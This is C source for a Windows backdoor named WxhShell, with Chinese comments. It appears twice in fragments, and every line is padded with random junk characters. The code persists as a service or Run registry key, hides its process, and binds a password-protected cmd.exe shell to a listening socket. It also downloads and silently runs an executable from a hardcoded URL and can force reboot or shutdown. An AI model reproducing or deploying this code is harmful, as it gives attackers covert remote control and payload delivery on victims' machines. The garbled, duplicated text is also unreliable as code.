    else { (E(:F[.S  
    closesocket(wsh); j/mp.'P1k  
    ExitThread(0); +Q]'kJ<s  
    } ugPI1'f  
    break; +Qvgpx>  
    } EI+/%.,  
  // 获取shell zd4y5/aoS  
  case 's': { v!hs~DnUZ  
    CmdShell(wsh); mqT0^TNPcl  
    closesocket(wsh); RW^v{'o  
    ExitThread(0); CuO*>g^K[  
    break; UKQ&TV}0  
  } 2.2a2.I1  
  // 退出 3C[4!>|  
  case 'x': {  n(xlad  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :bDn.`KG#  
    CloseIt(wsh); {^MAdC_  
    break; xKzFrP;/{  
    } (NN14  
  // 离开 t% B!\]  
  case 'q': { RAQ;O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); '#::ba[9w  
    closesocket(wsh); J}KktD@!O  
    WSACleanup(); 8"UG&wLT  
    exit(1); R:^?6f<Z}  
    break; +p<R'/  
        } =>%%]0  
  } B^Mtj5Oc  
  } :!!`!*!JH  
!TZ/PqcE  
  // 提示信息 )stWr r&  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B2WX#/lgd  
} rh&Eu qE%  
  } L;7mt 4H  
<OfzE5  
  return; c7!`d.{90  
} Cbvl( (  
A0u:Fm{E  
// shell模块句柄  8\ ;G+  
int CmdShell(SOCKET sock) eaP$/U D?  
{ Qnx92   
STARTUPINFO si; o xu9v/  
ZeroMemory(&si,sizeof(si)); K05Y;URbd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b/Q"j3  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3Dvk oV  
PROCESS_INFORMATION ProcessInfo; svjFy/T(lL  
char cmdline[]="cmd"; nqJV1h  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bXLa~r4\  
  return 0; Ayt!a+J  
} F <Z=%M3e  
',7Z1O  
// 自身启动模式 ,)G+h#Y[*  
int StartFromService(void) q\Kdu5x{  
{ f_XCO=8'v  
typedef struct :"IH*7xp  
{ G{=$/&St  
  DWORD ExitStatus; 6dp_R2zH~o  
  DWORD PebBaseAddress; I;:_25WGC  
  DWORD AffinityMask; )p9n|C  
  DWORD BasePriority; 7/!C  
  ULONG UniqueProcessId; SJ+-H83x  
  ULONG InheritedFromUniqueProcessId; ;#yz i2f  
}   PROCESS_BASIC_INFORMATION; j/|qge4  
X&X')hzIt  
PROCNTQSIP NtQueryInformationProcess; 0\*<k`dY  
%$ ?Q%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; d's`~HOU2  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *3Z#r  
tTp`e0L*m  
  HANDLE             hProcess; XhV"<&v  
  PROCESS_BASIC_INFORMATION pbi; O#Hz5 A5  
!iOu07<n&D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  +@7R,8  
  if(NULL == hInst ) return 0; EA#!h'-s  
L-gF$it\*b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); (oEA)yc|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (9|K}IM:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^IkMRlJh%  
h1)\.F4G  
  if (!NtQueryInformationProcess) return 0; Zotv]P2k  
7}.(EZ0  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YWFHiB7x  
  if(!hProcess) return 0; f+AIxSw  
2GS2,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0M-AIQ5  
[~S0b  
  CloseHandle(hProcess); t]%R4ymV  
HX*U2<^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3$;v# P$%N  
if(hProcess==NULL) return 0; hJN A%  
ohk =7d.'  
HMODULE hMod; }cmL{S  
char procName[255]; ,DLNI0uV  
unsigned long cbNeeded; ')RK(I  
8;3FTF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^o:5B%}#[  
>UH=]$0N  
  CloseHandle(hProcess); 1sA-BQL  
bNgcZ V.  
if(strstr(procName,"services")) return 1; // 以服务启动 J1t?Qj;f3  
*n5g";k|  
  return 0; // 注册表启动 `<G+ N  
} 2eYkWHi  
~VF,qspO  
// 主模块 Mq?21gW  
int StartWxhshell(LPSTR lpCmdLine) ,fFJSY^  
{ z[OEg HI  
  SOCKET wsl; e(A&VIp  
BOOL val=TRUE; Mla,"~4D5  
  int port=0; H5)WxsZ R  
  struct sockaddr_in door; PeaD]  
~<LI p%5(  
  if(wscfg.ws_autoins) Install(); b\mN^P~>A  
|lY8u~%  
port=atoi(lpCmdLine); pUx@QyrI  
AWcP OU  
if(port<=0) port=wscfg.ws_port; #*@Yil=1  
'"a8<7  
  WSADATA data;  tvILLR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; dtm@G|Ij  
0nAS4Az  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `mVH94{+I  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [$X(i|6  
  door.sin_family = AF_INET; /qG?(3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u c8>B&B%  
  door.sin_port = htons(port); HtlXbzN%)  
(aLnbJeJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 3:S"!F  
closesocket(wsl); 59u7q(  
return 1; c\opPhJ! 0  
} 4 @h6|=  
1>1!oml1E  
  if(listen(wsl,2) == INVALID_SOCKET) { $2 0*&4y^  
closesocket(wsl); M:N> {_1&  
return 1; UPsh Y  
} u#QQCgrs  
  Wxhshell(wsl); 'WoX-y  
  WSACleanup(); Sob+l'U$  
2J$Uz,@  
return 0; >n/QKFvV5  
+H_Z!T.@  
} nS#;<p$\  
X8<ygci+.5  
// 以NT服务方式启动 GS@ wG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) +8"H%#~  
{ h#>67gJV  
DWORD   status = 0; JaEyVe  
  DWORD   specificError = 0xfffffff; APy a&TG  
-xXM/3g1u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h2 y@xnn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UHHe~L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ;|c,  
  serviceStatus.dwWin32ExitCode     = 0; ):\L#>:w  
  serviceStatus.dwServiceSpecificExitCode = 0; EP @=i  
  serviceStatus.dwCheckPoint       = 0; a<Ta*:R$0  
  serviceStatus.dwWaitHint       = 0; @<+(40`*  
'tc$#f^:  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $xqphhBg  
  if (hServiceStatusHandle==0) return; F-t-d1w6  
~ lS3+H  
status = GetLastError(); &E~7ty'  
  if (status!=NO_ERROR) 71eD~fNdx  
{ aG!!z>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^?,/_3  
    serviceStatus.dwCheckPoint       = 0; k5 8lmuU  
    serviceStatus.dwWaitHint       = 0; MLJ8m  
    serviceStatus.dwWin32ExitCode     = status; KW)yTE<  
    serviceStatus.dwServiceSpecificExitCode = specificError; cuHs`{u@P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y}|zH  
    return; +VfJ: [q  
  } 7~ 2X/  
%PQC9{hUy$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; N4r`czoj  
  serviceStatus.dwCheckPoint       = 0; lVt gg?  
  serviceStatus.dwWaitHint       = 0; 6YN4]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Sx}h$E:  
} `8Gwf;P1  
LY"/ Q  
// 处理NT服务事件,比如:启动、停止 =i.[|g"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) GlaWBF#  
{ '#XP:nqFkK  
switch(fdwControl) &*0V!+#6  
{ t C&Xm}:  
case SERVICE_CONTROL_STOP: _ ge3R3  
  serviceStatus.dwWin32ExitCode = 0; phTZUm i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G[jCmkK  
  serviceStatus.dwCheckPoint   = 0; *fx<>aK  
  serviceStatus.dwWaitHint     = 0; nBQG.3  
  { VFyt9:a  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IV\@GM:ait  
  } s)>]'ii  
  return; SFuzH)+VO  
case SERVICE_CONTROL_PAUSE: tNtP+v-{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; X|b~,X%N  
  break; FT=w`NE,+  
case SERVICE_CONTROL_CONTINUE: StE4n0V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; UJQ!~g.y]  
  break; ks! G \<I  
case SERVICE_CONTROL_INTERROGATE: tTY(I1  
  break; 7oUYRqd  
}; 4&?%"2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?qdG)jo=  
} g{&ux k);  
OUD<+i,  
// 标准应用程序主函数 U*zjEY:A  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (FBKP#x)^  
{ 1=s%.0  
]+oPwp;il  
// 获取操作系统版本 p%n}a%%I  
OsIsNt=GetOsVer(); YoXXelO&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0 {w?u%'  
t4nAy)I)P  
  // 从命令行安装 %_5B"on  
  if(strpbrk(lpCmdLine,"iI")) Install(); %H:!/'45  
o rEo$e<  
  // 下载执行文件 b afYjF< 3  
if(wscfg.ws_downexe) { Yu'lD`G  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <53~Y  
  WinExec(wscfg.ws_filenam,SW_HIDE); [IMa0qs'  
} D:f0W v  
{&3n{XrF(  
if(!OsIsNt) { `w&|~xT  
// 如果时win9x,隐藏进程并且设置为注册表启动 *@/! h2  
HideProc(); K2!KMhvQ  
StartWxhshell(lpCmdLine); z[vMO%  
} (CEJg|,  
else I'C{=?  
  if(StartFromService()) =3sBWDB[  
  // 以服务方式启动 &K}!R$[,:P  
  StartServiceCtrlDispatcher(DispatchTable); 2mI=V.X[&  
else 9c<lFZb;  
  // 普通方式启动 z"R-Sme  
  StartWxhshell(lpCmdLine); 8K{ TRPy  
5pz%DhjLo  
return 0; 4e9mN~  
} @HR]b^2E  
S&9{kt|BI  
iN_G|w[d  
!J.qH%S5   
=========================================== +DksWb D  
}9jy)gF*e  
\acjv|]  
Uq7 y4zJ  
+oeO 0  
w$pBACX  
" [CJ&Yz Ji  
0IxXhu6v  
#include <stdio.h> @2]_jW  
#include <string.h> JhIgq W2  
#include <windows.h> S's\M5  
#include <winsock2.h> 7\eN 8+  
#include <winsvc.h> -k= 02?0p+  
#include <urlmon.h> Ly lw('zZ  
C;M.dd  
#pragma comment (lib, "Ws2_32.lib") nxCwg>  
#pragma comment (lib, "urlmon.lib") rk{DrbRx  
2?#IwT'  
#define MAX_USER   100 // 最大客户端连接数 nJlrBf_Kj  
#define BUF_SOCK   200 // sock buffer rE EWCt  
#define KEY_BUFF   255 // 输入 buffer AW1691Q  
/wVrr%SN  
#define REBOOT     0   // 重启 ?$v#;n?@I  
#define SHUTDOWN   1   // 关机 h`,dg%J*B  
[<7Hy,xr_  
#define DEF_PORT   5000 // 监听端口 cOq^}Ohan  
]_@5LvI  
#define REG_LEN     16   // 注册表键长度 W& w -yZ  
#define SVC_LEN     80   // NT服务名长度 pX+`qxF\  
r1 )Og  
// 从dll定义API R6*:Us0\FJ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ,vl][MhM  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \XD&0inv  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rXdI`l#  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); r1]shb%J?  
JiCDY)bu  
// wxhshell配置信息 Q >] v?4  
struct WSCFG { F`r=M%yh  
  int ws_port;         // 监听端口 yuWoz*:t  
  char ws_passstr[REG_LEN]; // 口令  5k{a(I  
  int ws_autoins;       // 安装标记, 1=yes 0=no dr'#  
  char ws_regname[REG_LEN]; // 注册表键名 d\+smED  
  char ws_svcname[REG_LEN]; // 服务名 (g*2OS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Vnlns2pQl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 UF3WpA  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }mzM'9JH  
int ws_downexe;       // 下载执行标记, 1=yes 0=no tgKmC I  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,~p'p)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +eg$Z]Lht  
8lh{ R  
}; -=I*{dzly  
B>Mr /'  
// default Wxhshell configuration p eQD]v  
struct WSCFG wscfg={DEF_PORT, Tj$D:xKf)  
    "xuhuanlingzhe", =rFgOdj  
    1, 3FR'N%+  
    "Wxhshell", <sE0426 {  
    "Wxhshell", @.6l^"L  
            "WxhShell Service", t ]7>' U  
    "Wrsky Windows CmdShell Service", sFqZ@t}~  
    "Please Input Your Password: ", ;Z\jX[H  
  1, % V/J6  
  "http://www.wrsky.com/wxhshell.exe", ]W-l1  
  "Wxhshell.exe" e?rp$kq7  
    }; nJ<h}*[  
> r6`bh [4  
// 消息定义模块 Zu951+&`  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "JzQCY^C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g-q~0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,dOd3y'y  
char *msg_ws_ext="\n\rExit."; wM8Gz.9,  
char *msg_ws_end="\n\rQuit."; UJ3l8 %/`k  
char *msg_ws_boot="\n\rReboot..."; O'a Srjl  
char *msg_ws_poff="\n\rShutdown..."; .gh3"  
char *msg_ws_down="\n\rSave to "; -}_-#L!Q  
-SnP+X!  
char *msg_ws_err="\n\rErr!"; n.Iu|,?q  
char *msg_ws_ok="\n\rOK!"; icLf; @  
c;C:$B7  
char ExeFile[MAX_PATH]; )/A IfH  
int nUser = 0; |#fqHON  
HANDLE handles[MAX_USER]; 3R>U^ Y  
int OsIsNt; }D-h=,];  
pHSq,XP-  
SERVICE_STATUS       serviceStatus; zZE 2%fqM  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R/&Bze  
,{!~rSq-l  
// 函数声明 Z<T%:F  
int Install(void); Ke@zS9  
int Uninstall(void); Lwm2:_\_b  
int DownloadFile(char *sURL, SOCKET wsh); q|xJ)[AO  
int Boot(int flag); A6v<+`?  
void HideProc(void); o[pv.:w  
int GetOsVer(void); %Aq+t&-BCX  
int Wxhshell(SOCKET wsl); {P ZN J 2~  
void TalkWithClient(void *cs); Q{F*%X  
int CmdShell(SOCKET sock); >jMq-#*4  
int StartFromService(void); i'aV=E5  
int StartWxhshell(LPSTR lpCmdLine); %9Br  
E(N?.i-%$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); `&xo;Vnc  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vs}_1o  
B/u0^!  
// 数据结构和表定义 2YI#J.6]H  
SERVICE_TABLE_ENTRY DispatchTable[] = r*CI6yP  
{ AdMA|!|:hc  
{wscfg.ws_svcname, NTServiceMain}, \} [{q  
{NULL, NULL} sJu^deX  
}; Ad!= *n  
/<,LM8n  
// 自我安装 @LZ'Qc }@  
int Install(void) O CIWQ/ P  
{ Vf<VKP[9K  
  char svExeFile[MAX_PATH]; !.9pV.~  
  HKEY key; }#va#Nb(,  
  strcpy(svExeFile,ExeFile); #-?C{$2I  
0]%0wbY1  
// 如果是win9x系统,修改注册表设为自启动 {YnR]|0&  
if(!OsIsNt) { UZ#Yd|'PD  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 0*0]R C5?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c@H:?s!0R  
  RegCloseKey(key); G Xx7/X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )* 5R/oy,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g#b[-)Qx  
  RegCloseKey(key); r:Uqtqxh  
  return 0; /;>U0~K  
    } ti$d.Kc(  
  } p!5= 1$  
} {nTQc2T?;  
else { `D)ay  
-ZwQL="t  
// 如果是NT以上系统,安装为系统服务 k/[*Wz$W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "#Ov!t  
if (schSCManager!=0) ".aypD)W  
{ tg%s#lLeH  
  SC_HANDLE schService = CreateService CFdR4vuEI  
  ( a![x^@nF  
  schSCManager, =xz Dpn>f  
  wscfg.ws_svcname, bV|(V>  
  wscfg.ws_svcdisp, 6~g`B<(?  
  SERVICE_ALL_ACCESS, mHcxK@qw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e`gOc*  
  SERVICE_AUTO_START, |Yq0zc!  
  SERVICE_ERROR_NORMAL, C/AqAW1  
  svExeFile, m]LR4V6k|  
  NULL, " o.V`Bj  
  NULL, {@j0?s  
  NULL, &+F|v(|r  
  NULL, . !gkJ  
  NULL LS1r}cl  
  ); 5cLq6[uO  
  if (schService!=0)  Z|zyO-  
  { !J<}=G5  
  CloseServiceHandle(schService); {c5%.<O  
  CloseServiceHandle(schSCManager); m?LnO5Vs  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` @.  
  strcat(svExeFile,wscfg.ws_svcname); 29eg.E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { |KSd@   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fh  t$7V  
  RegCloseKey(key); Z#H] yG  
  return 0; q:2Vw`g'  
    } 9v[cy`\  
  }  cTpmklq  
  CloseServiceHandle(schSCManager); /B>p.%M[&  
} d:KUJ Y.  
} .1F(-mLd  
xRu m q  
return 1; $gKMVgD"  
} zQY|=4NP  
N~I2~f  
// 自我卸载 Qn`$xY9mT  
int Uninstall(void) iaShxoIV  
{ yL =*yC  
  HKEY key; ]WZ_~8  
Ml &Cr  
if(!OsIsNt) { #=6A[<qX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A4!IbJD,0  
  RegDeleteValue(key,wscfg.ws_regname); q:Lw!'Z h  
  RegCloseKey(key); N^i<A2'6S;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~gBnq_DDU  
  RegDeleteValue(key,wscfg.ws_regname); S0X %IG  
  RegCloseKey(key); s"1:#.u  
  return 0; "r@f&Ssxb  
  } G55-{y9Q  
}  B _;W!  
} ( `V  
else { f n]rMH4>  
kaSi sjd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;qM I3wF  
if (schSCManager!=0) M9mC\Iz[  
{ M7D@Uj&xx(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9OIX5$,S;  
  if (schService!=0) v=n'#:k  
  { H8^U!"~E  
  if(DeleteService(schService)!=0) { IYtM'!u  
  CloseServiceHandle(schService); 4=]CAO=O  
  CloseServiceHandle(schSCManager); CH |A^!Zm  
  return 0; K.A!?U=  
  } Z7 \gj`  
  CloseServiceHandle(schService); zk)9tm;i{  
  } Q_p!;3  
  CloseServiceHandle(schSCManager); 7D5;lM[_  
} v0pyyUqS  
} pz'l9Gp;@  
\etuIFQ#U  
return 1; hD OEJ  
} g? 7%  
7MX nt5qUh  
// 从指定url下载文件 AiUICf?{  
int DownloadFile(char *sURL, SOCKET wsh) ( e> .hfrs  
{ WJH)>4M#  
  HRESULT hr; U}9B wr^  
char seps[]= "/"; A0L&p(i  
char *token; K \?b6;ea  
char *file; ^G5BD_  
char myURL[MAX_PATH]; qw]:oh&G  
char myFILE[MAX_PATH]; V{51wnxT  
d'1 L#`?  
strcpy(myURL,sURL); Bq}p]R3X  
  token=strtok(myURL,seps); Q~/TqG U  
  while(token!=NULL) )ESF)aKMiz  
  { hdFIriE3  
    file=token; vIk;x  
  token=strtok(NULL,seps); W'2a1E  
  } 6mH0|:CsY  
7_$Xt)Y{  
GetCurrentDirectory(MAX_PATH,myFILE); C)2Waj}  
strcat(myFILE, "\\"); MGUzvSf  
strcat(myFILE, file); /mELnJ^  
  send(wsh,myFILE,strlen(myFILE),0); idL6*%M  
send(wsh,"...",3,0); b >R/=tx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eQBR*@x  
  if(hr==S_OK) h> K~<BAz'  
return 0; 3q*y~5&I  
else U1&pcwP  
return 1; 5l"EQ9  
j~+<~2%c  
} $4yv)6G  
0>#or$:6E  
// 系统电源模块 x Bn+-V  
int Boot(int flag) Qz*!jwg  
{ H ]BH  
  HANDLE hToken; hr%O4&sa  
  TOKEN_PRIVILEGES tkp; 9Vp|a&Ana  
vfG4PJ 6  
  if(OsIsNt) { )9sRDNr  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1(V>8}zn  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); B7"/K]dR:  
    tkp.PrivilegeCount = 1; ?`+46U%  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P.bBu  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); cnm&o C 6  
if(flag==REBOOT) { :Mz$~o<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) S1Q2<<[  
  return 0; \79KU   
} voRr9E*n  
else { 'I|A*rO  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) b2OVg +3  
  return 0; }wmn v  
} 4_3O?IY  
  } 2mVcT3  
  else { x <^vJ1  
if(flag==REBOOT) { iV X12  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,#G>&  
  return 0; K-Bf=7F,  
} J(*QtF  
else { + QcgLq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) !,}W|(P)  
  return 0; Ux_tHyc/  
} :+;AXnDM~  
} y74Ph:^ k  
b>|3?G  
return 1; e(/~;"r{  
} l"%|VWZ{iq  
ZA@QP1  
// win9x进程隐藏模块 b&.j>=  
void HideProc(void) 4am`X1YV#  
{ V|.3Z\(  
d4c-(ZRl  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); [uxhdR`T  
  if ( hKernel != NULL ) wT?.Mte  
  { G)28#aH  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $YvT* T$_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8zew8I~s  
    FreeLibrary(hKernel); G%N/]]ll  
  } %AbA(F  
J{$+\  
return; T:+%3+;a  
} F"O{eK0T  
+W+O7SK\y  
// 获取操作系统版本 b#h?O}  
int GetOsVer(void) Uq/#\7/rL  
{ !4uTi [e  
  OSVERSIONINFO winfo; f(.@]eu X  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); QF/A-[V  
  GetVersionEx(&winfo); 3nt&Sf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wCiDvHF5+C  
  return 1; srfFJX7*  
  else fsa  
  return 0; D8P<mIu}Y  
} `_Bvae j?,  
%lZ++?&^  
// 客户端句柄模块 l,}{Y4\G  
int Wxhshell(SOCKET wsl) KE\p|Xi  
{ t ZUZNKODW  
  SOCKET wsh; B<c7&!B  
  struct sockaddr_in client; 2 g"_ *[  
  DWORD myID; 910Ym!\{:  
-|^}~yOx0=  
  while(nUser<MAX_USER) b#0y-bR  
{ j`I[M6Qxh  
  int nSize=sizeof(client); LjUBV_J  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5Cxh >,k  
  if(wsh==INVALID_SOCKET) return 1; "Y@rNmBj  
&Im{p7gf!b  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ")|3ZB7>*  
if(handles[nUser]==0) WrhC q6  
  closesocket(wsh); +}c '4hRv  
else 4,L(  
  nUser++; 65bLkR{0  
  } ?Dro)fH1  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5T,Doxo  
gwk$|aT@  
  return 0; ia15r\4j)  
} }B2H)dG^K  
)@.bkzW  
// 关闭 socket Tyu]14L  
void CloseIt(SOCKET wsh) 7kU:91zR  
{ Ko6 tp9G  
closesocket(wsh); Z qX  U  
nUser--; fq/F| c  
ExitThread(0); Bb[%?~ E!  
} pq[RH-{  
BQVpp,]  
// 客户端请求句柄 Mw!?2G[|  
void TalkWithClient(void *cs) [ P\3XSR  
{ Eq zS={Olj  
\a+F/I$hwa  
  SOCKET wsh=(SOCKET)cs; Saa# Mj`M  
  char pwd[SVC_LEN]; \dj&4u3  
  char cmd[KEY_BUFF]; AfKJa DKf  
char chr[1]; ~[XDK`B  
int i,j; L%`~`3%n-  
jI@0jxF  
  while (nUser < MAX_USER) { -e#YWMo(  
B e+'&+  
if(wscfg.ws_passstr) { {\22C `9t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #.p^ S0\pw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a9z|ef  
  //ZeroMemory(pwd,KEY_BUFF); "UVqkw,vt  
      i=0; DUf=\p6`f  
  while(i<SVC_LEN) { KL]K< A  
jLC,<V*  
  // 设置超时 P<GY"W+r R  
  fd_set FdRead; TF 6_4t6  
  struct timeval TimeOut; Hno@  
  FD_ZERO(&FdRead); KquHc-fzqr  
  FD_SET(wsh,&FdRead); ^7v}wpwX\  
  TimeOut.tv_sec=8; Z"#ysC  
  TimeOut.tv_usec=0; tr"iluwGc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); XNwY\y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); iRo UM.%  
[7B:{sH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $wU.GM$t~  
  pwd=chr[0]; |RwpIe8~  
  if(chr[0]==0xd || chr[0]==0xa) { p,}-8#K[  
  pwd=0; ^_3idLE  
  break; x!bFbi#!"  
  } ?KpHvf'  
  i++; uRG0} >]|U  
    } Gxv@a   
W >eJGZ<  
  // 如果是非法用户,关闭 socket I_.(&hMn  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I=l() ET=  
} +B^ / =3P  
P, !si#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {U(-cdU{e`  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dluNA(Xc-  
N( E\  
while(1) { ]O',Ei^  
6PT ,m  
  ZeroMemory(cmd,KEY_BUFF); &W fs6g  
T+NEw8C?/  
      // 自动支持客户端 telnet标准   >i~W$; t  
  j=0; 0trVmWQ8  
  while(j<KEY_BUFF) { > C{^{?~u  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =[(1u|H 9  
  cmd[j]=chr[0]; r~F T,  
  if(chr[0]==0xa || chr[0]==0xd) { 1"A1bK  
  cmd[j]=0; is?`tre\P  
  break; 0F=UZf&  
  } G/_#zIN`8M  
  j++; )u]J`.OA  
    } Xhtc0\0"(  
tY !fO>Fn~  
  // 下载文件 hLGUkG?6G  
  if(strstr(cmd,"http://")) { >8Zz<S&z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); epj]n=/}[  
  if(DownloadFile(cmd,wsh)) ?{%P9I  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gnp,~F"  
  else pSkP8'  ?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \+fP&  
  } !1+L0,I6  
  else { Z!G_" 3  
UoPd>q4Uj  
    switch(cmd[0]) { cy*Td7)/  
  G%S=K2 v  
  // 帮助 *!%y.$\cE  
  case '?': { B<DvH"+$  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >`n0{:.1za  
